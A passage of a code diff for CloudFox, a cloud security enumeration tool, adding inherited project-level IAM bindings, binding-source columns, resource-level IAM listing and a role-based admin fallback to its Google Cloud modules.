||||
@@ -344,6 +384,7 @@ func (m *BigQueryModule) tablesToTableBody(tables []BigQueryService.BigqueryTabl
|
||||
publicStatus,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
} else {
|
||||
for _, binding := range table.IAMBindings {
|
||||
@@ -358,6 +399,7 @@ func (m *BigQueryModule) tablesToTableBody(tables []BigQueryService.BigqueryTabl
|
||||
publicStatus,
|
||||
binding.Role,
|
||||
member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"sync"
|
||||
|
||||
CloudStorageService "github.com/BishopFox/cloudfox/gcp/services/cloudStorageService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
@@ -161,6 +162,24 @@ func (m *BucketsModule) processProject(ctx context.Context, projectID string, lo
|
||||
return
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings into each bucket
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
for i := range buckets {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("bucket", pb.Role) {
|
||||
continue
|
||||
}
|
||||
buckets[i].IAMBindings = append(buckets[i].IAMBindings, CloudStorageService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Members: pb.Members,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectBuckets[projectID] = buckets
|
||||
@@ -377,6 +396,7 @@ func (m *BucketsModule) getTableHeader() []string {
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
"Principal Attack Paths",
|
||||
}
|
||||
}
|
||||
@@ -454,6 +474,7 @@ func (m *BucketsModule) bucketsToTableBody(buckets []CloudStorageService.BucketI
|
||||
binding.Role,
|
||||
memberType,
|
||||
member,
|
||||
shared.BindingSource(binding.Source),
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
@@ -475,6 +496,7 @@ func (m *BucketsModule) bucketsToTableBody(buckets []CloudStorageService.BucketI
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,8 @@ import (
|
||||
"sync"
|
||||
|
||||
CloudRunService "github.com/BishopFox/cloudfox/gcp/services/cloudrunService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
@@ -173,6 +175,10 @@ func (m *CloudRunModule) processProject(ctx context.Context, projectID string, l
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Fetch project-level IAM for inherited binding injection
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, _ := iamSvc.Policies(projectID, "project")
|
||||
|
||||
// Get services
|
||||
services, err := cs.Services(projectID)
|
||||
if err != nil {
|
||||
@@ -180,6 +186,23 @@ func (m *CloudRunModule) processProject(ctx context.Context, projectID string, l
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDRUN_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Run services in project %s", projectID))
|
||||
} else {
|
||||
// Inject inherited project-level IAM bindings into services
|
||||
if projectPolicies != nil {
|
||||
for i := range services {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("cloudrun", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
services[i].IAMBindings = append(services[i].IAMBindings, CloudRunService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.ProjectServices[projectID] = services
|
||||
for _, svc := range services {
|
||||
@@ -195,6 +218,23 @@ func (m *CloudRunModule) processProject(ctx context.Context, projectID string, l
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDRUN_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Run jobs in project %s", projectID))
|
||||
} else {
|
||||
// Inject inherited project-level IAM bindings into jobs
|
||||
if projectPolicies != nil {
|
||||
for i := range jobs {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("cloudrun", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
jobs[i].IAMBindings = append(jobs[i].IAMBindings, CloudRunService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.ProjectJobs[projectID] = jobs
|
||||
for _, job := range jobs {
|
||||
@@ -454,7 +494,7 @@ func (m *CloudRunModule) buildTablesForProject(projectID string, services []Clou
|
||||
servicesHeader := []string{
|
||||
"Project", "Type", "Name", "Region", "Status", "URL", "Ingress", "Public",
|
||||
"Service Account", "SA Attack Paths", "Default SA", "Image", "VPC Access",
|
||||
"Min/Max", "IAM Binding Role", "IAM Binding Principal",
|
||||
"Min/Max", "IAM Binding Role", "IAM Binding Principal", "Binding Source",
|
||||
}
|
||||
|
||||
var servicesBody [][]string
|
||||
@@ -497,6 +537,7 @@ func (m *CloudRunModule) buildTablesForProject(projectID string, services []Clou
|
||||
formatIngress(svc.IngressSettings), publicStatus, svc.ServiceAccount,
|
||||
attackPaths, defaultSA, svc.ContainerImage, vpcAccess, scaling,
|
||||
binding.Role, binding.Member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -505,7 +546,7 @@ func (m *CloudRunModule) buildTablesForProject(projectID string, services []Clou
|
||||
m.GetProjectName(svc.ProjectID), "Service", svc.Name, svc.Region, status, svc.URL,
|
||||
formatIngress(svc.IngressSettings), publicStatus, svc.ServiceAccount,
|
||||
attackPaths, defaultSA, svc.ContainerImage, vpcAccess, scaling,
|
||||
"-", "-",
|
||||
"-", "-", "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -522,7 +563,7 @@ func (m *CloudRunModule) buildTablesForProject(projectID string, services []Clou
|
||||
jobsHeader := []string{
|
||||
"Project", "Type", "Name", "Region", "Status", "Service Account", "SA Attack Paths", "Default SA",
|
||||
"Image", "VPC Access", "Tasks", "Parallelism", "Last Execution",
|
||||
"IAM Binding Role", "IAM Binding Principal",
|
||||
"IAM Binding Role", "IAM Binding Principal", "Binding Source",
|
||||
}
|
||||
|
||||
var jobsBody [][]string
|
||||
@@ -565,6 +606,7 @@ func (m *CloudRunModule) buildTablesForProject(projectID string, services []Clou
|
||||
job.ServiceAccount, jobAttackPaths, defaultSA, job.ContainerImage, vpcAccess,
|
||||
fmt.Sprintf("%d", job.TaskCount), fmt.Sprintf("%d", job.Parallelism),
|
||||
lastExec, binding.Role, binding.Member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -573,7 +615,7 @@ func (m *CloudRunModule) buildTablesForProject(projectID string, services []Clou
|
||||
m.GetProjectName(job.ProjectID), "Job", job.Name, job.Region, status,
|
||||
job.ServiceAccount, jobAttackPaths, defaultSA, job.ContainerImage, vpcAccess,
|
||||
fmt.Sprintf("%d", job.TaskCount), fmt.Sprintf("%d", job.Parallelism),
|
||||
lastExec, "-", "-",
|
||||
lastExec, "-", "-", "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
|
||||
FunctionsService "github.com/BishopFox/cloudfox/gcp/services/functionsService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
@@ -154,6 +155,26 @@ func (m *FunctionsModule) processProject(ctx context.Context, projectID string,
|
||||
return
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings into each function
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
for i := range functions {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("function", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
functions[i].IAMBindings = append(functions[i].IAMBindings, FunctionsService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectFunctions[projectID] = functions
|
||||
@@ -495,6 +516,7 @@ func (m *FunctionsModule) getTableHeader() []string {
|
||||
"VPC Access",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -572,6 +594,7 @@ func (m *FunctionsModule) functionsToTableBody(functions []FunctionsService.Func
|
||||
vpcAccess,
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -592,6 +615,7 @@ func (m *FunctionsModule) functionsToTableBody(functions []FunctionsService.Func
|
||||
vpcAccess,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -290,6 +290,7 @@ func (m *HiddenAdminsModule) analyzeOrganizationIAM(ctx context.Context, logger
|
||||
|
||||
policy, err := orgsClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: org.Name,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -332,6 +333,7 @@ func (m *HiddenAdminsModule) analyzeFolderIAM(ctx context.Context, logger intern
|
||||
|
||||
policy, err := foldersClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: folder.Name,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -352,7 +354,9 @@ func (m *HiddenAdminsModule) analyzeProjectIAM(ctx context.Context, logger inter
|
||||
return
|
||||
}
|
||||
|
||||
policy, err := crmService.Projects.GetIamPolicy(projectID, &crmv1.GetIamPolicyRequest{}).Do()
|
||||
policy, err := crmService.Projects.GetIamPolicy(projectID, &crmv1.GetIamPolicyRequest{
|
||||
Options: &crmv1.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
}).Do()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
+252
-16
@@ -7,6 +7,7 @@ import (
|
||||
"sync"
|
||||
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
resourceiamservice "github.com/BishopFox/cloudfox/gcp/services/resourceIAMService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
@@ -78,6 +79,28 @@ var highPrivilegeRoles = map[string]bool{
|
||||
"roles/orgpolicy.policyAdmin": true,
|
||||
}
|
||||
|
||||
// adminRoles are roles that grant broad administrative control. Used as a
|
||||
// fallback for the Admin column when FoxMapper data is not available.
|
||||
var adminRoles = map[string]bool{
|
||||
"roles/owner": true,
|
||||
"roles/editor": true,
|
||||
"roles/resourcemanager.projectIamAdmin": true,
|
||||
"roles/resourcemanager.folderAdmin": true,
|
||||
"roles/resourcemanager.folderIamAdmin": true,
|
||||
"roles/resourcemanager.organizationAdmin": true,
|
||||
"roles/iam.securityAdmin": true,
|
||||
"roles/iam.roleAdmin": true,
|
||||
}
|
||||
|
||||
// isAdminRole returns "Yes" if the role is a known admin role, "" otherwise.
|
||||
// Used as a fallback when FoxMapper is not available.
|
||||
func isAdminRole(role string) string {
|
||||
if adminRoles[role] {
|
||||
return "Yes"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
@@ -85,11 +108,12 @@ type IAMModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - using enhanced data
|
||||
ScopeBindings []IAMService.ScopeBinding
|
||||
ServiceAccounts []IAMService.ServiceAccountInfo
|
||||
CustomRoles []IAMService.CustomRole
|
||||
Groups []IAMService.GroupInfo
|
||||
MFAStatus map[string]*IAMService.MFAStatus
|
||||
ScopeBindings []IAMService.ScopeBinding
|
||||
ServiceAccounts []IAMService.ServiceAccountInfo
|
||||
CustomRoles []IAMService.CustomRole
|
||||
Groups []IAMService.GroupInfo
|
||||
MFAStatus map[string]*IAMService.MFAStatus
|
||||
ResourceBindings []resourceiamservice.ResourceIAMBinding
|
||||
|
||||
// Per-scope loot for inheritance-aware output
|
||||
OrgLoot map[string]*internal.LootFile // orgID -> loot commands
|
||||
@@ -132,11 +156,12 @@ func runGCPIAMCommand(cmd *cobra.Command, args []string) {
|
||||
// Create module instance
|
||||
module := &IAMModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ScopeBindings: []IAMService.ScopeBinding{},
|
||||
ServiceAccounts: []IAMService.ServiceAccountInfo{},
|
||||
CustomRoles: []IAMService.CustomRole{},
|
||||
Groups: []IAMService.GroupInfo{},
|
||||
MFAStatus: make(map[string]*IAMService.MFAStatus),
|
||||
ScopeBindings: []IAMService.ScopeBinding{},
|
||||
ServiceAccounts: []IAMService.ServiceAccountInfo{},
|
||||
CustomRoles: []IAMService.CustomRole{},
|
||||
Groups: []IAMService.GroupInfo{},
|
||||
MFAStatus: make(map[string]*IAMService.MFAStatus),
|
||||
ResourceBindings: []resourceiamservice.ResourceIAMBinding{},
|
||||
OrgLoot: make(map[string]*internal.LootFile),
|
||||
FolderLoot: make(map[string]*internal.LootFile),
|
||||
ProjectLoot: make(map[string]*internal.LootFile),
|
||||
@@ -182,6 +207,16 @@ func (m *IAMModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.Groups = iamData.Groups
|
||||
m.MFAStatus = iamData.MFAStatus
|
||||
|
||||
// Enumerate resource-level IAM bindings (SA, buckets, secrets, functions, etc.)
|
||||
resourceIAMSvc := resourceiamservice.New()
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
resourceBindings, err := resourceIAMSvc.GetAllResourceIAM(ctx, projectID)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
m.ResourceBindings = append(m.ResourceBindings, resourceBindings...)
|
||||
}
|
||||
|
||||
// Try to enumerate group memberships to build reverse lookup
|
||||
enrichedGroups := iamService.GetGroupMemberships(ctx, m.Groups)
|
||||
m.Groups = enrichedGroups
|
||||
@@ -220,8 +255,9 @@ func (m *IAMModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d binding(s) across %d org(s), %d folder(s), %d project(s); %d SA(s), %d custom role(s), %d group(s)",
|
||||
logger.SuccessM(fmt.Sprintf("Found %d binding(s) across %d org(s), %d folder(s), %d project(s); %d resource-level binding(s); %d SA(s), %d custom role(s), %d group(s)",
|
||||
len(m.ScopeBindings), orgCount, folderCount, projectCount,
|
||||
len(m.ResourceBindings),
|
||||
len(m.ServiceAccounts), len(m.CustomRoles), len(m.Groups)), globals.GCP_IAM_MODULE_NAME)
|
||||
|
||||
// Write output
|
||||
@@ -631,9 +667,11 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
|
||||
// Add scope bindings (one row per binding)
|
||||
for _, sb := range m.ScopeBindings {
|
||||
// Check admin status from FoxMapper only - shows Org/Folder/Project or No
|
||||
// This is different from "high privilege roles" - Admin means broad IAM control
|
||||
// Check admin status: FoxMapper (granular) > role-based fallback
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sb.MemberEmail)
|
||||
if adminStatus == "" {
|
||||
adminStatus = isAdminRole(sb.Role)
|
||||
}
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
@@ -698,6 +736,91 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
})
|
||||
}
|
||||
|
||||
// Add resource-level IAM bindings (one row per binding)
|
||||
for _, rb := range m.ResourceBindings {
|
||||
memberType := resourceiamservice.DetermineMemberType(rb.Member)
|
||||
memberEmail := rb.MemberEmail
|
||||
|
||||
// Check admin status: FoxMapper (granular) > role-based fallback
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, memberEmail)
|
||||
if adminStatus == "" {
|
||||
adminStatus = isAdminRole(rb.Role)
|
||||
}
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
isCustom := "No"
|
||||
if strings.HasPrefix(rb.Role, "projects/") || strings.HasPrefix(rb.Role, "organizations/") {
|
||||
isCustom = "Yes"
|
||||
}
|
||||
|
||||
condition := "No"
|
||||
if rb.HasCondition && rb.ConditionTitle != "" {
|
||||
condition = rb.ConditionTitle
|
||||
} else if rb.HasCondition {
|
||||
condition = "Yes"
|
||||
}
|
||||
|
||||
// Get MFA status
|
||||
mfa := "-"
|
||||
if memberType == "User" {
|
||||
if status, ok := m.MFAStatus[memberEmail]; ok {
|
||||
if status.Error != "" {
|
||||
mfa = "Unknown"
|
||||
} else if status.HasMFA {
|
||||
mfa = "Yes"
|
||||
} else {
|
||||
mfa = "No"
|
||||
}
|
||||
}
|
||||
} else if memberType == "ServiceAccount" {
|
||||
mfa = "N/A"
|
||||
}
|
||||
|
||||
// Get groups this member belongs to
|
||||
groups := "-"
|
||||
if memberGroups, ok := m.MemberToGroups[memberEmail]; ok && len(memberGroups) > 0 {
|
||||
groups = strings.Join(memberGroups, ", ")
|
||||
}
|
||||
|
||||
// Check for federated identity
|
||||
federated := formatFederatedInfo(parseFederatedIdentity(memberEmail))
|
||||
|
||||
// Check attack paths for service account principals
|
||||
attackPaths := "-"
|
||||
if memberType == "ServiceAccount" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, memberEmail)
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
rb.ResourceType,
|
||||
rb.ResourceID,
|
||||
rb.ResourceName,
|
||||
memberType,
|
||||
memberEmail,
|
||||
rb.Role,
|
||||
adminStatus,
|
||||
isCustom,
|
||||
"-",
|
||||
condition,
|
||||
mfa,
|
||||
groups,
|
||||
federated,
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
|
||||
// Build SA email -> roles lookup from scope bindings for admin fallback.
|
||||
// ServiceAccountsBasic() doesn't populate the Roles field, so we
|
||||
// extract roles from the already-enumerated bindings.
|
||||
saRolesMap := make(map[string][]string)
|
||||
for _, sb := range m.ScopeBindings {
|
||||
if sb.MemberType == "ServiceAccount" {
|
||||
saRolesMap[sb.MemberEmail] = append(saRolesMap[sb.MemberEmail], sb.Role)
|
||||
}
|
||||
}
|
||||
|
||||
// Add service accounts
|
||||
for _, sa := range m.ServiceAccounts {
|
||||
hasKeys := "No"
|
||||
@@ -716,8 +839,16 @@ func (m *IAMModule) buildTables() []internal.TableFile {
|
||||
groups = strings.Join(memberGroups, ", ")
|
||||
}
|
||||
|
||||
// Check admin status from FoxMapper
|
||||
// Check admin status: FoxMapper (granular) > role-based fallback
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sa.Email)
|
||||
if adminStatus == "" {
|
||||
for _, role := range saRolesMap[sa.Email] {
|
||||
if adminRoles[role] {
|
||||
adminStatus = "Yes"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
@@ -998,6 +1129,12 @@ func (m *IAMModule) writeHierarchicalOutputTee(ctx context.Context, logger inter
|
||||
}
|
||||
}
|
||||
|
||||
// Build reverse lookup: for each resource ID, which project it belongs to
|
||||
resourceToProject := make(map[string]string)
|
||||
for _, rb := range m.ResourceBindings {
|
||||
resourceToProject[rb.ResourceID] = rb.ProjectID
|
||||
}
|
||||
|
||||
// Create a row router that routes based on scope type and OrgCache
|
||||
rowRouter := func(row []string) []string {
|
||||
// Row format: [ScopeType, ScopeID, ScopeName, ...]
|
||||
@@ -1021,6 +1158,11 @@ func (m *IAMModule) writeHierarchicalOutputTee(ctx context.Context, logger inter
|
||||
}
|
||||
return m.ProjectIDs
|
||||
default:
|
||||
// Resource-level binding (serviceAccount, bucket, secret, etc.)
|
||||
// Route to the project that owns this resource
|
||||
if projectID, ok := resourceToProject[scopeID]; ok {
|
||||
return []string{projectID}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -1099,8 +1241,11 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
continue
|
||||
}
|
||||
|
||||
// Check admin status from FoxMapper only - shows Org/Folder/Project or No
|
||||
// Check admin status: FoxMapper (granular) > role-based fallback
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sb.MemberEmail)
|
||||
if adminStatus == "" {
|
||||
adminStatus = isAdminRole(sb.Role)
|
||||
}
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
@@ -1161,6 +1306,89 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
})
|
||||
}
|
||||
|
||||
// Add resource-level IAM bindings for this project
|
||||
for _, rb := range m.ResourceBindings {
|
||||
if rb.ProjectID != projectID {
|
||||
continue
|
||||
}
|
||||
|
||||
memberType := resourceiamservice.DetermineMemberType(rb.Member)
|
||||
memberEmail := rb.MemberEmail
|
||||
|
||||
// Check admin status: FoxMapper (granular) > role-based fallback
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, memberEmail)
|
||||
if adminStatus == "" {
|
||||
adminStatus = isAdminRole(rb.Role)
|
||||
}
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
isCustom := "No"
|
||||
if strings.HasPrefix(rb.Role, "projects/") || strings.HasPrefix(rb.Role, "organizations/") {
|
||||
isCustom = "Yes"
|
||||
}
|
||||
|
||||
condition := "No"
|
||||
if rb.HasCondition && rb.ConditionTitle != "" {
|
||||
condition = rb.ConditionTitle
|
||||
} else if rb.HasCondition {
|
||||
condition = "Yes"
|
||||
}
|
||||
|
||||
mfa := "-"
|
||||
if memberType == "User" {
|
||||
if status, ok := m.MFAStatus[memberEmail]; ok {
|
||||
if status.Error != "" {
|
||||
mfa = "Unknown"
|
||||
} else if status.HasMFA {
|
||||
mfa = "Yes"
|
||||
} else {
|
||||
mfa = "No"
|
||||
}
|
||||
}
|
||||
} else if memberType == "ServiceAccount" {
|
||||
mfa = "N/A"
|
||||
}
|
||||
|
||||
groups := "-"
|
||||
if memberGroups, ok := m.MemberToGroups[memberEmail]; ok && len(memberGroups) > 0 {
|
||||
groups = strings.Join(memberGroups, ", ")
|
||||
}
|
||||
|
||||
federated := formatFederatedInfo(parseFederatedIdentity(memberEmail))
|
||||
|
||||
attackPaths := "-"
|
||||
if memberType == "ServiceAccount" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, memberEmail)
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
rb.ResourceType,
|
||||
rb.ResourceID,
|
||||
rb.ResourceName,
|
||||
memberType,
|
||||
memberEmail,
|
||||
rb.Role,
|
||||
adminStatus,
|
||||
isCustom,
|
||||
"-",
|
||||
condition,
|
||||
mfa,
|
||||
groups,
|
||||
federated,
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
|
||||
// Build SA email -> roles lookup from scope bindings for admin fallback
|
||||
saRolesMap := make(map[string][]string)
|
||||
for _, sb := range m.ScopeBindings {
|
||||
if sb.MemberType == "ServiceAccount" {
|
||||
saRolesMap[sb.MemberEmail] = append(saRolesMap[sb.MemberEmail], sb.Role)
|
||||
}
|
||||
}
|
||||
|
||||
// Add service accounts for this project only
|
||||
for _, sa := range m.ServiceAccounts {
|
||||
if sa.ProjectID != projectID {
|
||||
@@ -1182,8 +1410,16 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
groups = strings.Join(memberGroups, ", ")
|
||||
}
|
||||
|
||||
// Check admin status from FoxMapper
|
||||
// Check admin status: FoxMapper (granular) > role-based fallback
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sa.Email)
|
||||
if adminStatus == "" {
|
||||
for _, role := range saRolesMap[sa.Email] {
|
||||
if adminRoles[role] {
|
||||
adminStatus = "Yes"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
@@ -448,6 +448,7 @@ func (m *IdentityFederationModule) buildTables(
|
||||
"Display Name",
|
||||
"State",
|
||||
"Disabled",
|
||||
"Full Resource Path",
|
||||
}
|
||||
|
||||
var poolsBody [][]string
|
||||
@@ -462,6 +463,7 @@ func (m *IdentityFederationModule) buildTables(
|
||||
pool.DisplayName,
|
||||
pool.State,
|
||||
disabled,
|
||||
pool.Name,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -482,6 +484,7 @@ func (m *IdentityFederationModule) buildTables(
|
||||
"OIDC Issuer / AWS Account",
|
||||
"Trust Scope",
|
||||
"Access Condition",
|
||||
"Full Resource Path",
|
||||
}
|
||||
|
||||
var providersBody [][]string
|
||||
@@ -508,6 +511,7 @@ func (m *IdentityFederationModule) buildTables(
|
||||
issuerOrAccount,
|
||||
trustScope,
|
||||
attrCond,
|
||||
p.Name,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
+59
-12
@@ -9,6 +9,8 @@ import (
|
||||
"sync"
|
||||
|
||||
ComputeEngineService "github.com/BishopFox/cloudfox/gcp/services/computeEngineService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
orgpolicyservice "github.com/BishopFox/cloudfox/gcp/services/orgpolicyService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
@@ -39,6 +41,7 @@ Security Columns:
|
||||
- BroadScopes: Has cloud-platform or other broad OAuth scopes
|
||||
- OSLogin: OS Login enabled (recommended for access control)
|
||||
- OSLogin2FA: OS Login with 2FA required
|
||||
- OSLoginPolicy: Whether compute.requireOsLogin org policy is enforced (inherited)
|
||||
- BlockProjKeys: Instance blocks project-wide SSH keys
|
||||
- SerialPort: Serial port access enabled (security risk if exposed)
|
||||
- CanIPForward: Can forward packets (potential for lateral movement)
|
||||
@@ -55,11 +58,12 @@ type InstancesModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectInstances map[string][]ComputeEngineService.ComputeEngineInfo // projectID -> instances
|
||||
ProjectMetadata map[string]*ComputeEngineService.ProjectMetadataInfo // projectID -> metadata
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
ProjectInstances map[string][]ComputeEngineService.ComputeEngineInfo // projectID -> instances
|
||||
ProjectMetadata map[string]*ComputeEngineService.ProjectMetadataInfo // projectID -> metadata
|
||||
ProjectOSLoginPolicy map[string]string // projectID -> "Enforced", "Not Enforced", "Unknown"
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
@@ -85,10 +89,11 @@ func runGCPInstancesCommand(cmd *cobra.Command, args []string) {
|
||||
|
||||
// Create module instance
|
||||
module := &InstancesModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectInstances: make(map[string][]ComputeEngineService.ComputeEngineInfo),
|
||||
ProjectMetadata: make(map[string]*ComputeEngineService.ProjectMetadataInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectInstances: make(map[string][]ComputeEngineService.ComputeEngineInfo),
|
||||
ProjectMetadata: make(map[string]*ComputeEngineService.ProjectMetadataInfo),
|
||||
ProjectOSLoginPolicy: make(map[string]string),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
// Execute enumeration
|
||||
@@ -148,10 +153,41 @@ func (m *InstancesModule) processProject(ctx context.Context, projectID string,
|
||||
return
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings into each instance
|
||||
